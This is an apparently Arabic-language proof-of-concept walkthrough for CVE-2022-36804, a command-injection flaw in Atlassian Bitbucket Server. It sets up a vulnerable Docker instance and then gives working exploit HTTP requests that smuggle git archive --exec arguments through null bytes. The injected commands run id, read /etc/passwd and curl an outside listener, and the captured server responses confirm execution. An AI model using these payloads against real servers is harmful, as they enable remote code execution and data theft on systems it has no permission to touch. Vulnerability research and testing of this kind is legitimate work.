
Atlassian Bitbucket Server and Data Center - ثغرة حقن الأوامر (CVE-2022-36804)
Atlassian Bitbucket Server وData Center - ثغرة حقن أوامر (CVE-2022-36804)
في الإصدارات المتأثرة من Atlassian Bitbucket Server وData Center، توجد ثغرة حقن أوامر في نقاط نهاية API متعددة حيث يمكن للمهاجم الذي لديه وصول إلى مستودع عام أو صلاحيات قراءة لمستودع Bitbucket خاص تنفيذ كود عشوائي عن طريق إرسال طلب HTTP ضار.
docker pull atlassian/bitbucket-server:7.2.5-ubuntu-jdk11
docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name="bitbucket" -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.2.5-ubuntu-jdk11
CFX ومستودعًا باسم lord واجعله عامًا. يمكنك استخدام أي اسم للمشروع والمستودع.Curl http://127.0.0.1:7990/rest/api/latest/reposGET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
HTTP/1.1 500
X-AREQUESTID: @1J1EWV1x490x54736x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Oct 2022 08:10:56 GMT
Connection: close
Content-Length: 380
{"errors":[{"context":null,"message":"'/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax' exited with code 128 saying: `id` '/': 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly","exceptionName":"com.atlassian.bitbucket.scm.CommandFailedException"}]}
/etc/passwdrest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%60%00--prefix=/
http://example.com بعنوان Burp collab أو مستمع NCrest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=qualys/%00--remote=/%00--exec=curl%20http://example.com%00--prefix=/
الطلب
GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&prefix=/%00--help%00--%00 HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
الرد
HTTP/1.1 200
X-AREQUESTID: @1J1EWV1x506x54738x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: X-AUSERNAME
Vary: X-AUSERID
Vary: Cookie
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="[email protected]"; filename*=UTF-8''lord-master%4049f16ce1e8a.zip
Content-Type: application/octet-stream
Content-Length: 875
Date: Tue, 04 Oct 2022 08:26:21 GMT
usage: git archive [<options>] <tree-ish> [<path>...]
or: git archive --list
or: git archive --remote <repo> [--exec <cmd>] [<options>] <tree-ish> [<path>...]
or: git archive --remote <repo> [--exec <cmd>] --list
--format <fmt> archive format
--prefix <prefix> prepend prefix to each pathname in the archive
-o, --output <file> write the archive to this file
--worktree-attributes
read .gitattributes in working directory
-v, --verbose report archived files on stderr
-0 store only
-1 compress faster
-9 compress better
-l, --list list supported archive formats
--remote <repo> retrieve the archive from remote repository <repo>
--exec <command> path to the remote git-upload-archive command